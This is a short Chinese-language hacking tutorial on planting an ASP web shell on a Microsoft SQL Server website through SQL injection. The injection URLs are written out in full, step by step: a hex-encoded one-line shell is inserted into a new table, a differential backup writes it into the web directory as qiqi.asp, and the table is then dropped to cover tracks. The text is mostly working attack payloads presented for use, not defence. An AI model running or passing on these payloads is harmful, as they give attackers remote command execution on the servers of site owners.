前提条件:sql数据库DB_OWER权限,可以列目录
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先找到web目录,然后backup,找web可以先试试读注册表,nbsi里面有自己找找吧. backup有三种方式拿shell, backup database,backup log,还有二次备份..
备份差异的方法: http://localhost/news/newcode.asp?id=1466为注入点,为DB_OWNER权限 通过注入点要得到虚礼目录: d:\www\ 1:输入http://localhost/news/newcode.asp? ... @a sysname,@s varchar(4000) select @a=db_name(),@s=0x71697169 backup database @a to disk=@s-- 为备份为名qiqi的数据库! 0x71697169 是数据库的名字转16进制了.
2:http://localhost/news/newcode.asp?id=137;Drop table [qiqi];create table [dbo].[qiqi] ([cmd] [image])-- 建表加字段
3:http://localhost/news/newcode.asp?id=137;i ... bsp;qiqi(cmd) values (0x3C256578656375746520726571756573742822302229253E)-- 这样就是在数据库中插入一句话木马 0x3C256578656375746520726571756573742822302229253E是一句话木马 <%execute request("0")%> 的16进制代码
4:http://localhost/news/newcode.asp? ... @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7777775C6E6577735C716971692E6173700 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT-- 就是这样把一句话木马当作数据库的差异备份出到d:\www\news\qiqi.asp
0x643A5C7777775C6E6577735C716971692E617370是WEB物理路径径:d:\www\news\qiqi.asp的16进制代码.
5:http://localhost/news/newcode.asp?id=137;Drop table [qiqi]-- 最后撤除刚刚建立的库
然后我们访问刚刚备份得出的http://localhost/news/qiqi.asp,可以看到了一大堆乱码,我们看看网页的最底,如果出现错误就表示插入木马成功了.
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